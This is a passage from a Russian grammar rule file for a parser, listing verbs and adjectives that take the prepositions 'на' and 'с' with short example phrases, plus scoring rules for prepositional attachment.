отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной 